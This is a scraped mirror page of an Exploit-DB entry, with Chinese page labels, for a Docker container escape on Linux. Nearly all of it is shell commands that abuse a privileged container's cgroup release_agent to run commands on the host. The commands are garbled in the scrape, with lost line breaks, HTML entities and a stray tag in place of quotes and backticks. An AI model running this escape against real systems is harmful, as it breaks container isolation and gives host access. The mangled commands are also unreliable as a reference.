Docker – Container Escape

• Exploit Database
• 120 阅读

• 作者： dominikczarnotatob
  日期： 2019-07-19
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/47147/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16

  # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash   # In the container mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x   echo 1 > /tmp/cgrp/x/notify_on_release host_path=<code>sed -n &apos;s/.*\perdir=\([^,]*\).*/\1/p&apos; /etc/mtab echo "$host_path/cmd" > /tmp/cgrp/release_agent   echo &apos;#!/bin/sh&apos; > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd   sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"